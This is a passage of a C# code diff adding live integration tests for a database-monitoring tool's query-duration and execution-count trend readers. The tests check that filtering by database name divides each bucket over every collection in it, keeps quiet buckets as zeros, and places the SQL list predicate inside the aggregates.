+            var route = DarlingTrendReader.ResolveQueryDurationTrendRoute(start, coverageRollups.Item1, coverageRollups.Item2, windowEndUtc: end);
+            Assert.Equal(RetentionTier.Raw, route.Tier);
+            var twoDatabases = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, start, end, route, 60, Of(A, B), ct);
+            var everyDatabase = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, start, end, route, 60, DatabaseFilter.All, ct);
+            Assert.Equal(5_000 * perSecond, twoDatabases.Points.Last().Value!.Value, 9);
+            Assert.Equal(14_000 * perSecond, everyDatabase.Points.Last().Value!.Value, 9);
+        }, Cleanup);
+
+    /// <summary>
+    /// [#5414 M1] A quiet database's bucket is read over EVERY collection in it. The query-stats collector keeps only
+    /// plans that ran in the last ten minutes, so a database that ran nothing recently has no row in most collections;
+    /// dividing by only the collections it appeared in read its rate high (one 6 s query in a 60-minute bucket of four
+    /// 15-minute collections read 6000 ms / 900 s, four times the true 6000 ms / 3600 s). A is busy in the first
+    /// collection only, B in the third only, C (a small steady load) in all four, so [A] and [B] each miss three of the
+    /// four collections. The MCP reader and the Darling viewer's chart read the one builder.
+    /// </summary>
+    [Fact]
+    public Task TheRawTier_AFilteredBucket_IsReadOverEveryCollectionInIt_SoTheDatabasesAddUp() =>
+        WithSharedStoreAsync("trend-filter-denominator", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var hour = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified).AddHours(-3);
+            for (var i = 0; i < 4; i++)
+            {
+                var at = hour.AddMinutes(15 * i);
+                if (i == 0) { await PlantWithIntervalAsync(connection, ct, serverId, serverName, at, A, 6_000_000); }
+                if (i == 2) { await PlantWithIntervalAsync(connection, ct, serverId, serverName, at, B, 3_000_000); }
+                await PlantWithIntervalAsync(connection, ct, serverId, serverName, at, C, 1_000);
+            }
+
+            const double bucketSeconds = 4 * 900;
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+            var rollups = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
+            var route = DarlingTrendReader.ResolveQueryDurationTrendRoute(start, rollups.Item1, rollups.Item2, windowEndUtc: end);
+            Assert.Equal(RetentionTier.Raw, route.Tier);
+
+            async Task<double> Mcp(DatabaseFilter databases)
+            {
+                var result = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, start, end, route, 60, databases, ct);
+                return result.Points.Single().Value!.Value;
+            }
+
+            var a = await Mcp(DatabaseFilter.One(A));
+            var b = await Mcp(DatabaseFilter.One(B));
+            var both = await Mcp(Of(A, B));
+            Assert.Equal(6_000 / bucketSeconds, a, 9);
+            Assert.Equal(3_000 / bucketSeconds, b, 9);
+            Assert.Equal(a + b, both, 9);
+            Assert.Equal((9_000 + 4) / bucketSeconds, await Mcp(DatabaseFilter.All), 9);
+            Assert.Equal(4 / bucketSeconds, await Mcp(DatabaseFilter.One(C)), 9);
+
+            /* The Darling viewer's chart reads the same builder. Its bucket width is the window's own, so the window is
+               sized wide enough for a whole number of hours (the age rule is told it is an hour past the window's start, so
+               the raw tier serves it): every collection planted lies in one bucket. */
+            var viewerStart = now.AddDays(-90);
+            Assert.Equal(0, TrendBuckets.AutoMinutes(
+                (int)Math.Ceiling((end - viewerStart).TotalMinutes), 1, TrendBudget.Chart.AutoPoints) % 60);
+            await using var viewer = new PerformanceMonitor.Darling.Viewer.ViewerDataService(Environment.GetEnvironmentVariable("DARLING_TEST_PG")!);
+            async Task<double> Viewer(params string[] names) =>
+                (await viewer.GetQueryDurationTrendAsync(serverId, viewerStart, end, names.Length == 0 ? null : names, nowUtc: viewerStart.AddHours(1), cancellationToken: ct)).Points.Single().Value;
+
+            var viewerA = await Viewer(A);
+            var viewerB = await Viewer(B);
+            Assert.Equal(6_000 / bucketSeconds, viewerA, 9);
+            Assert.Equal(3_000 / bucketSeconds, viewerB, 9);
+            Assert.Equal(viewerA + viewerB, await Viewer(A, B), 9);
+            Assert.Equal((9_000 + 4) / bucketSeconds, await Viewer(), 9);
+
+            /* The viewer's execution-count chart has its own statement, with the same rule: ten executions per row. */
+            async Task<double> ViewerExecutions(params string[] names) =>
+                (await viewer.GetExecutionCountTrendAsync(serverId, viewerStart, end, names.Length == 0 ? null : names, nowUtc: viewerStart.AddHours(1), cancellationToken: ct)).Points.Single().Value;
+
+            var executionsA = await ViewerExecutions(A);
+            Assert.Equal(10 / bucketSeconds, executionsA, 9);
+            Assert.Equal(executionsA + await ViewerExecutions(B), await ViewerExecutions(A, B), 9);
+            Assert.Equal(60 / bucketSeconds, await ViewerExecutions(), 9);
+        }, Cleanup);
+
+    /// <summary>
+    /// [#5414 round 2, per-bucket HAVING] A bucket the chosen databases had no rows in is a measured 0, not a missing
+    /// bucket, and it is as much a bucket the store covered as any other. Collections every 15 minutes for four hours, C in
+    /// every one, A in the third hour's first collection only. The window starts at the store's first collection, which
+    /// is two hours before A's first row: [A] returns every hour bucket (zero before and after its one busy hour), the
+    /// answer does not claim the window was cut short, and effective_start is the store's own first collection. A
+    /// database with no row anywhere in the window is still the empty answer. The viewer's duration and execution-count
+    /// charts read the same rule.
+    /// </summary>
+    [Fact]
+    public Task TheRawTier_AFilteredWindow_KeepsEveryBucketTheStoreCovered_AsZero_AndDoesNotClaimTruncation() =>
+        WithSharedStoreAsync("trend-filter-zero-buckets", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            var first = new DateTime(now.Year, now.Month, now.Day, now.Hour, 0, 0, DateTimeKind.Unspecified).AddHours(-6);
+            for (var i = 0; i < 16; i++)
+            {
+                var at = first.AddMinutes(15 * i);
+                if (i == 8) { await PlantWithIntervalAsync(connection, ct, serverId, serverName, at, A, 6_000_000); }
+                await PlantWithIntervalAsync(connection, ct, serverId, serverName, at, C, 1_000);
+            }
+
+            const double bucketSeconds = 4 * 900;
+            var end = now.AddMinutes(5);
+            var rollups = await ComposeStoreAvailability.GetRollupsAsync(postgres, ct);
+            var route = DarlingTrendReader.ResolveQueryDurationTrendRoute(first, rollups.Item1, rollups.Item2, windowEndUtc: end);
+            Assert.Equal(RetentionTier.Raw, route.Tier);
+
+            var a = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, first, end, route, 60, DatabaseFilter.One(A), ct);
+            Assert.Equal(4, a.Points.Count);
+            var expected = new[] { 0.0, 0.0, 6_000 / bucketSeconds, 0.0 };
+            for (var i = 0; i < expected.Length; i++) { Assert.Equal(expected[i], a.Points[i].Value!.Value, 9); }
+            Assert.False(a.Truncated);
+            Assert.Equal(first, a.EffectiveStartUtc);
+
+            var all = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, first, end, route, 60, DatabaseFilter.All, ct);
+            Assert.Equal(4, all.Points.Count);
+            Assert.False(all.Truncated);
+            Assert.Equal(first, all.EffectiveStartUtc);
+
+            var none = await DarlingTrendReader.GetQueryDurationTrendAsync(postgres, serverId, first, end, route, 60, DatabaseFilter.One("NoSuchDatabase"), ct);
+            Assert.Empty(none.Points);
+
+            /* The viewer's two charts: the window's bucket width is the viewer's own, so every collection is a point (a
+               window of a few hours is under the chart's point budget at the finest width). */
+            await using var viewer = new PerformanceMonitor.Darling.Viewer.ViewerDataService(Environment.GetEnvironmentVariable("DARLING_TEST_PG")!);
+            foreach (var executions in new[] { false, true })
+            {
+                var series = executions
+                    ? await viewer.GetExecutionCountTrendAsync(serverId, first, end, new[] { A }, nowUtc: first.AddHours(1), cancellationToken: ct)
+                    : await viewer.GetQueryDurationTrendAsync(serverId, first, end, new[] { A }, nowUtc: first.AddHours(1), cancellationToken: ct);
+                Assert.False(series.Truncated, executions ? "executions" : "duration");
+                Assert.Equal(first, series.EffectiveStartUtc);
+                Assert.Equal(first, series.Points.First().CollectionTime);
+                Assert.Contains(series.Points, p => p.Value == 0.0 && p.CollectionTime < first.AddHours(2));
+                var viewerNone = executions
+                    ? await viewer.GetExecutionCountTrendAsync(serverId, first, end, new[] { "NoSuchDatabase" }, nowUtc: first.AddHours(1), cancellationToken: ct)
+                    : await viewer.GetQueryDurationTrendAsync(serverId, first, end, new[] { "NoSuchDatabase" }, nowUtc: first.AddHours(1), cancellationToken: ct);
+                Assert.Empty(viewerNone.Points);
+            }
+        }, Cleanup);
+
+    /// <summary>One <c>query_stats</c> row with the collector's stored interval (the bucket-denominator tests need 900 s collections).</summary>
+    private static Task PlantWithIntervalAsync(
+        NpgsqlConnection connection, CancellationToken ct, int serverId, string serverName, DateTime at, string db, long weight) =>
+        DarlingMcpTestData.ExecAsync(connection, ct,
+            @"INSERT INTO query_stats
+                  (collection_id, collection_time, server_id, server_name, database_name, query_hash, query_plan_hash, sql_handle, plan_handle,
+                   query_text, query_text_digest, delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads,
+                   delta_logical_writes, delta_physical_reads, min_worker_time, max_worker_time, min_elapsed_time, max_elapsed_time,
+                   min_dop, max_dop, sample_interval_seconds)
+              VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, 10, $12, $12, 100, 0, 0, 1, $12, 1, $12, 1, 1, 900)",
+            CollectionIdGenerator.Next(), DarlingMcpTestData.TruncateToSeconds(at), serverId, serverName, db,
+            "0xQ" + db, "0xP" + db, "0xS" + db, "0xL" + db, "SELECT " + db, SHA256.HashData(Encoding.UTF8.GetBytes("SELECT " + db)), weight);
+
+    [Fact]
+    public Task TheQueryStoreRawRoute_AListOfDatabases_ReadsOnlyThoseDatabasesWork() =>
+        WithSharedStoreAsync("trend-filter-query-store", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            /* Two collections per database, so the second is rated over the spacing to the first (3600 s). */
+            foreach (var (db, durationUs) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-3), db, durationUs);
+                await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2), db, durationUs);
+            }
+
+            var start = now.AddHours(-24);
+            var end = now.AddMinutes(5);
+            /* The raw-only route reads the $4 statement; every execution is 10 per row, so a point is 10 * Σ duration µs / 1000. */
+            const double perSecond = 10.0 / 1000 / 3600;
+            var rawOnly = QueryStoreTrendRouting.QueryStoreTrendRoute.RawOnly;
+
+            var all = await DarlingTrendReader.GetQueryStoreDurationTrendAsync(postgres, serverId, start, end, rawOnly, DatabaseFilter.All, ct);
+            Assert.Equal(14_000 * perSecond, all.Last().Value!.Value, 9);
+            Assert.Equal(5_000 * perSecond, (await DarlingTrendReader.GetQueryStoreDurationTrendAsync(postgres, serverId, start, end, rawOnly, Of(A, B), ct)).Last().Value!.Value, 9);
+            Assert.Equal(2_000 * perSecond, (await DarlingTrendReader.GetQueryStoreDurationTrendAsync(postgres, serverId, start, end, rawOnly, DatabaseFilter.One(B), ct)).Last().Value!.Value, 9);
+            Assert.Equal(all.Select(p => p.Value), (await DarlingTrendReader.GetQueryStoreDurationTrendAsync(postgres, serverId, start, end, rawOnly, ct)).Select(p => p.Value));
+
+            /* The tool, end to end (whichever route the store resolves, the filter is on every arm of it). */
+            Assert.Equal(5_000 * perSecond, LastRate(await DarlingMcpTrendTools.GetQueryStoreDurationTrend(postgres, serverName, 24, null, Of(A, B), ct))!.Value, 9);
+            Assert.Equal(14_000 * perSecond, LastRate(await DarlingMcpTrendTools.GetQueryStoreDurationTrend(postgres, serverName, 24, null, DatabaseFilter.All, ct))!.Value, 9);
+        }, Cleanup);
+
+    /// <summary>
+    /// [M4] The one-name consumers on the empty path: with a filter, "quiet" is a statement about the chosen databases,
+    /// not about the server, and it names them (one name by its name, two or more as "the chosen databases"). The status
+    /// word stays the contract: the server has data, so it is "empty", and a never-sampled server is still "unavailable"
+    /// on the bare server name because its probe is server-wide.
+    /// </summary>
+    [Fact]
+    public Task TheEmptyAnswer_UnderAFilter_NamesTheChosenDatabases_AndKeepsItsStatusWord() =>
+        WithSharedStoreAsync("trend-filter-empty", async (connection, postgres, serverId, serverName, now, ct) =>
+        {
+            await PlantQueryAsync(connection, ct, serverId, serverName, now.AddHours(-2), A, "SELECT " + A, 3_000);
+            await PlantProcedureAsync(connection, ct, serverId, serverName, now.AddHours(-2), A, 3_000);
+            await PlantQueryStoreAsync(connection, ct, serverId, serverName, now.AddHours(-2), A, 3_000);
+
+            var budget = TrendBudget.Mcp(TrendBuckets.DurationMaxPoints);
+            var none = Of("NoSuchDatabase");
+            var several = Of("NoSuchDatabase", "NoSuchEither");
+
+            foreach (var json in new[]
+            {
+                await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 24, null, null, none, budget, ct),
+                await DarlingMcpTrendTools.GetProcedureDurationTrend(postgres, serverName, 24, null, null, none, budget, ct),
+                await DarlingMcpTrendTools.GetQueryStoreDurationTrend(postgres, serverName, 24, null, none, ct),
+            })
+            {
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(json));
+                Assert.Contains(" for the database NoSuchDatabase", JsonDocument.Parse(json).RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+            }
+
+            foreach (var json in new[]
+            {
+                await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 24, null, null, several, budget, ct),
+                await DarlingMcpTrendTools.GetProcedureDurationTrend(postgres, serverName, 24, null, null, several, budget, ct),
+                await DarlingMcpTrendTools.GetQueryStoreDurationTrend(postgres, serverName, 24, null, several, ct),
+            })
+            {
+                Assert.Equal("empty", DarlingMcpTestData.StatusOf(json));
+                var message = JsonDocument.Parse(json).RootElement.GetProperty("message").GetString()!;
+                Assert.Contains(DatabaseFilter.ManyDatabasesDescription, message, StringComparison.Ordinal);
+                Assert.DoesNotContain("NoSuchDatabase", message, StringComparison.Ordinal);
+            }
+
+            /* Every database: the sentence is the one the tools always said (no scope text), over a window with no rows. */
+            var quiet = await DarlingMcpTrendTools.GetQueryDurationTrend(postgres, serverName, 1, DateTime.UtcNow.AddDays(-2).ToString("o"), null, DatabaseFilter.All, budget, ct);
+            Assert.Equal("empty", DarlingMcpTestData.StatusOf(quiet));
+            Assert.DoesNotContain("database_name", JsonDocument.Parse(quiet).RootElement.GetProperty("message").GetString(), StringComparison.Ordinal);
+        }, Cleanup);
+
+    [Fact]
+    public void TheFilteredStatements_CarryTheListPredicate_OnEveryArm()
+    {
+        const string predicate4 = "($4::text[] IS NULL OR database_name = ANY($4))";
+        const string predicate5 = "($5::text[] IS NULL OR database_name = ANY($5))";
+        /* #5414 M1: the query-stats and procedure-stats trends carry the list predicate INSIDE their aggregates (three
+           FILTERs: elapsed, executions, matched rows), never as a WHERE term, so the collection's seconds are read over
+           every database. */
+        const string filterPredicate4 = "FILTER (WHERE $4::text[] IS NULL OR database_name = ANY($4))";
+
+        static int Count(string sql, string text) => System.Text.RegularExpressions.Regex.Matches(sql, System.Text.RegularExpressions.Regex.Escape(text)).Count;
+
+        /* Raw: the per-collection CTE, the filter at $4 and the bucket width at $5. */
+        Assert.Equal(3, Count(DarlingTrendReader.QueryDurationTrendFilteredSql, filterPredicate4));
+        Assert.Equal(3, Count(DarlingTrendReader.ProcedureDurationTrendFilteredSql, filterPredicate4));
+        Assert.Equal(0, Count(DarlingTrendReader.QueryDurationTrendFilteredSql, predicate4));
+        Assert.Equal(0, Count(DarlingTrendReader.ProcedureDurationTrendFilteredSql, predicate4));
+        /* #5414 round 2: empty is decided once for the whole window, never per bucket (a per-bucket HAVING dropped the
+           buckets the chosen databases were quiet in, so they read missing and the window read truncated). */
+        Assert.DoesNotContain("HAVING", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("WHERE EXISTS (SELECT 1 FROM rated WHERE matched_rows > 0)", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
+        Assert.Contains("CAST($5 AS integer)", DarlingTrendReader.QueryDurationTrendFilteredSql, StringComparison.Ordinal);
+        /* Hourly: the rollup CTE, same numbering. */
+        var hourly = DurationTrendRouting.BuildBucketedHourlyTrendSql("collect.query_stats_interval_hourly AS h", withDatabaseFilter: true);
+        Assert.Equal(3, Count(hourly, filterPredicate4));
+        Assert.Equal(0, Count(hourly, predicate4));
+        Assert.DoesNotContain("HAVING", hourly, StringComparison.Ordinal);
+        Assert.Contains("WHERE EXISTS (SELECT 1 FROM hourly WHERE matched_rows > 0)", hourly, StringComparison.Ordinal);
+        Assert.Contains("CAST($5 AS integer)", hourly, StringComparison.Ordinal);
+        /* Unfiltered text is untouched: no predicate, the width at $4, so the pinned constants keep their text. */
+        var unfiltered = DurationTrendRouting.BuildBucketedHourlyTrendSql("collect.query_stats_interval_hourly AS h");
+        Assert.DoesNotContain("database_name", unfiltered, StringComparison.Ordinal);
+        Assert.Contains("CAST($4 AS integer)", unfiltered, StringComparison.Ordinal);
+        Assert.Equal(unfiltered, DurationTrendRouting.BuildBucketedHourlyTrendSql("collect.query_stats_interval_hourly AS h", withDatabaseFilter: false));
+        /* Query Store: both arms of the raw-only statement; the rollup arm and both raw arms of the routed one. */
+        Assert.Equal(2, Count(DarlingTrendReader.QueryStoreDurationTrendFilteredSql, predicate4));
+        Assert.Equal(3, Count(DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql, predicate5));
+        Assert.Equal(QueryStoreTrendRouting.BuildRollupTrendSql(withDatabaseFilter: true), DarlingTrendReader.QueryStoreDurationTrendRollupFilteredSql);
+    }
+
+    internal static async Task WithSharedStoreAsync(
+        string serverName, Func<NpgsqlConnection, NpgsqlDataSource, int, string, DateTime, CancellationToken, Task> body, string cleanupSql)
+    {
+        var connectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(connectionString), "Set DARLING_TEST_PG to run the live duration trend database filter tests.");
+        var ct = TestContext.Current.CancellationToken;
+        var serverId = ServerIdHelper.GetDeterministicHashCode(serverName);
+        var cleanup = string.Format(System.Globalization.CultureInfo.InvariantCulture, cleanupSql, serverId)
+                      + string.Format(System.Globalization.CultureInfo.InvariantCulture, "; DELETE FROM servers WHERE server_id = {0}", serverId);
+
+        using var connection = new NpgsqlConnection(connectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+        await DarlingMcpTestData.ExecAsync(connection, ct, cleanup);
+
+        await using var postgres = NpgsqlDataSource.Create(connectionString!);
+        var succeeded = false;
+        try
+        {
+            await DarlingMcpTestData.RegisterServerAsync(connection, serverId, serverName, ct);
+            await body(connection, postgres, serverId, serverName, DarlingMcpTestData.Naive(DateTime.UtcNow), ct);
+            succeeded = true;
+        }
+        finally
+        {
+            await LiveStoreCleanup.RunAsync(connectionString!, succeeded, async (cleanupConnection, cleanupCt) =>
+                await DarlingMcpTestData.ExecAsync(cleanupConnection, cleanupCt, cleanup));
+        }
+    }
+}
+
+/* #1776 own-store: this class mints its own scratch database through ScratchPostgres and never touches another test's
+   rows, so it is deliberately NOT [Collection("live-postgres")] (it also stops the scratch database's TimescaleDB
+   background workers, which the shared store must never inherit). */
+
+/// <summary>
+/// #5244, PR4 lane R1: the hourly rollup tier of get_query_duration_trend and get_procedure_duration_trend (a TimescaleDB
+/// scratch store; the raw rows of the window are purged after the rollup refreshes, so the route reads the interval
+/// successor views, which carry <c>database_name</c>). The hourly statement carries the list predicate at $4 and the bucket
+/// width at $5.
+/// </summary>
+public sealed class DurationTrendDatabaseFilterHourlyLiveTests
+{
+    private const int ServerId = -943853;
+    private const string ServerName = "a5244-trend-filter-hourly";
+    private const string A = "TrendFilterA";
+    private const string B = "TrendFilterB";
+    private const string C = "TrendFilterC";
+
+    private static readonly DateTime WindowStart = new(2026, 1, 5, 0, 0, 0, DateTimeKind.Unspecified);
+    private static readonly DateTime SurvivorAt = WindowStart.AddHours(5);
+
+    private static DatabaseFilter Of(params string[] names) => DatabaseFilter.Of(names);
+
+    /// <summary>The series as time to elapsed rate.</summary>
+    private static Dictionary<DateTime, double> Series(string json) =>
+        JsonDocument.Parse(json).RootElement.GetProperty("trend").EnumerateArray().ToDictionary(
+            p => DateTime.Parse(p.GetProperty("time").GetString()!, System.Globalization.CultureInfo.InvariantCulture, System.Globalization.DateTimeStyles.RoundtripKind),
+            p => p.GetProperty("elapsed_ms_per_second").GetDouble());
+
+    [Fact]
+    public async Task TheHourlyTier_AListOfDatabases_ReadsOnlyThoseDatabasesWork_ForQueriesAndProcedures()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string (with TimescaleDB installed) to run the live hourly duration trend filter test.");
+        var ct = TestContext.Current.CancellationToken;
+
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        await using var connection = new NpgsqlConnection(scratch.ConnectionString);
+        await connection.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(connection, ct);
+
+        var timescaleEnabled = await TimescaleSupport.TryEnableAsync(connection, null, ct);
+        Assert.SkipWhen(!timescaleEnabled, "The live hourly duration trend filter test needs TimescaleDB.");
+        await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+        Assert.True(await TimescaleSupport.EnsureCollectionLogHypertableAsync(connection, null, ct));
+        await using (var stop = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection))
+        {
+            await stop.ExecuteNonQueryAsync(ct);
+        }
+
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerId, ServerName, ct);
+        await TimescaleSupport.EnsureContinuousAggregatesAsync(connection, null, ct);
+
+        var bodySucceeded = false;
+        try
+        {
+            /* C is the hottest, so an unfiltered hourly read would show it. Hour 1 holds all three; hour 5 holds A alone. */
+            var windowEnd = WindowStart.AddDays(1);
+            var at = WindowStart.AddHours(1);
+            foreach (var (db, weight) in new[] { (A, 3_000L), (B, 2_000L), (C, 9_000L) })
+            {
+                at = at.AddMinutes(10);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, $6, $7, 10, $8, $8, 100, 1000, 3600)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "0xQ" + db, "0xSQLH" + db, weight);
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                          delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                      VALUES ($1, $2, $3, $4, $5, 'dbo', $6, $7, 10, $8, $8, 100, 1000, 3600)",
+                    CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "usp_" + db, "0xSQLH" + db, weight);
+            }
+
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, '0xQSURV', '0xSQLHSURV', 1, 1000, 1000, 7, 1000, 3600)",
+                CollectionIdGenerator.Next(), SurvivorAt, ServerId, ServerName, A);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_SURV', '0xSQLHSURV', 1, 1000, 1000, 7, 1000, 3600)",
+                CollectionIdGenerator.Next(), SurvivorAt, ServerId, ServerName, A);
+
+            /* #5414 M1: hour 2 holds B alone, so in the 240-minute bucket [00:00, 04:00) A is active in one of its two
+               hours and B in both. */
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, '0xQHOUR2', '0xSQLHHOUR2', 10, 4000, 4000, 100, 1000, 3600)",
+                CollectionIdGenerator.Next(), WindowStart.AddHours(2).AddMinutes(10), ServerId, ServerName, B);
+            await DarlingMcpTestData.ExecAsync(connection, ct,
+                @"INSERT INTO collect.procedure_stats (collection_id, collection_time, server_id, server_name, database_name, schema_name, object_name, sql_handle,
+                      delta_execution_count, delta_worker_time, delta_elapsed_time, delta_logical_reads, total_logical_reads, sample_interval_seconds)
+                  VALUES ($1, $2, $3, $4, $5, 'dbo', 'usp_HOUR2', '0xSQLHHOUR2', 10, 4000, 4000, 100, 1000, 3600)",
+                CollectionIdGenerator.Next(), WindowStart.AddHours(2).AddMinutes(10), ServerId, ServerName, B);
+
+            /* #5449: the procedure collector's runs. Each stored collection above is a busy run logged just after its rows; hour 3
+               has one quiet run (nothing stored), which is what makes it a measured zero hour on the procedure rollup. */
+            foreach (var (runAt, rows) in new[]
+            {
+                (WindowStart.AddHours(1).AddMinutes(10), 1), (WindowStart.AddHours(1).AddMinutes(20), 1), (WindowStart.AddHours(1).AddMinutes(30), 1),
+                (WindowStart.AddHours(2).AddMinutes(10), 1), (WindowStart.AddHours(3).AddMinutes(10), 0), (SurvivorAt, 1),
+            })
+            {
+                await DarlingMcpTestData.ExecAsync(connection, ct,
+                    @"INSERT INTO collect.collection_log (log_id, server_id, server_name, collector_name, collection_time, duration_ms, status, rows_collected)
+                      VALUES ($1, $2, $3, 'procedure_stats', $4, 3000, 'SUCCESS', $5)",
+                    CollectionIdGenerator.Next(), ServerId, ServerName, runAt.AddSeconds(3), rows);
+            }
+
+            foreach (var view in new[] { TimescaleSupport.QueryStatsIntervalHourlyView, TimescaleSupport.ProcedureStatsIntervalHourlyView })
+            {
+                await using var refresh = new NpgsqlCommand($"CALL refresh_continuous_aggregate('collect.{view}'::regclass, $1::timestamp, $2::timestamp)", connection);
+                refresh.Parameters.AddWithValue(WindowStart);
+                refresh.Parameters.AddWithValue(windowEnd.AddHours(1));
+                await refresh.ExecuteNonQueryAsync(ct);
+            }
+
+            foreach (var table in new[] { "collect.query_stats", "collect.procedure_stats" })
+            {
+                await using var purge = new NpgsqlCommand($"DELETE FROM {table} WHERE server_id = $1 AND collection_time >= $2 AND collection_time < $3", connection);
+                purge.Parameters.AddWithValue(ServerId);
+                purge.Parameters.AddWithValue(WindowStart);
+                purge.Parameters.AddWithValue(WindowStart.AddHours(3));
+                await purge.ExecuteNonQueryAsync(ct);
+            }
+
+            await using var hourly = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var budget = TrendBudget.Mcp(TrendBuckets.DurationMaxPoints);
+            var asOf = DateTime.SpecifyKind(windowEnd, DateTimeKind.Utc).ToString("o");
+            const double perSecond = 1.0 / 1000 / 3600;
+            var hourOne = WindowStart.AddHours(1);
+            var hourFive = SurvivorAt;
+
+            foreach (var procedures in new[] { false, true })
+            {
+                async Task<string> Read(DatabaseFilter databases) => procedures
+                    ? await DarlingMcpTrendTools.GetProcedureDurationTrend(hourly, ServerName, 24, asOf, 60, databases, budget, ct)
+                    : await DarlingMcpTrendTools.GetQueryDurationTrend(hourly, ServerName, 24, asOf, 60, databases, budget, ct);
+
+                var label = procedures ? "procedures" : "queries";
+                var all = await Read(DatabaseFilter.All);
+                Assert.True(JsonDocument.Parse(all).RootElement.GetProperty("source").GetString() == "hourly", label + ": expected the hourly tier");
+                var allSeries = Series(all);
+                Assert.Equal(14_000 * perSecond, allSeries[hourOne], 9);
+                Assert.Equal(1_000 * perSecond, allSeries[hourFive], 9);
+
+                var two = Series(await Read(Of(A, B)));
+                Assert.Equal(5_000 * perSecond, two[hourOne], 9);
+                Assert.Equal(1_000 * perSecond, two[hourFive], 9);
+
+                /* C alone: it has no row in hour 5, but the rollup holds that hour (A's survivor), so it is a measured zero
+                   of C's and not a missing point (#5414 round 2: the filter is inside the sums, not a per-bucket HAVING). A's
+                   survivor's work is not in it. */
+                var onlyC = Series(await Read(DatabaseFilter.One(C)));
+                Assert.Equal(9_000 * perSecond, onlyC[hourOne], 9);
+                Assert.Equal(0.0, onlyC[hourFive], 9);
+
+                var oneByName = Series(await Read(DatabaseFilter.One(B)));
+                Assert.Equal(2_000 * perSecond, oneByName[hourOne], 9);
+                Assert.Equal(0.0, oneByName[hourFive], 9);
+
+                /* [#5414 M1] A 240-minute bucket is its hours' work over the hours the rollup HOLDS in it (hours 1 and 2,
+                   so 2 * 3600 s), whichever databases were asked about: A, active in hour 1 only, is half its hour-1
+                   work, not all of it, and [A] + [B] = [A, B] = the bucket's server rate less C. */
+                async Task<double> Wide(DatabaseFilter databases)
+                {
+                    var json = procedures
+                        ? await DarlingMcpTrendTools.GetProcedureDurationTrend(hourly, ServerName, 24, asOf, 240, databases, budget, ct)
+                        : await DarlingMcpTrendTools.GetQueryDurationTrend(hourly, ServerName, 24, asOf, 240, databases, budget, ct);
+                    return Series(json)[WindowStart];
+                }
+
+                /* #5449: the procedure rollup also counts an hour in which the collector ran and no procedure worked (a logged run, no
+                   raw row: hour 3 here), as zero work, so its bucket holds three hours; the query rollup keeps its two. */
+                var twoHours = perSecond / (procedures ? 3 : 2);
+                var wideA = await Wide(DatabaseFilter.One(A));
+                var wideB = await Wide(DatabaseFilter.One(B));
+                Assert.Equal(3_000 * twoHours, wideA, 9);
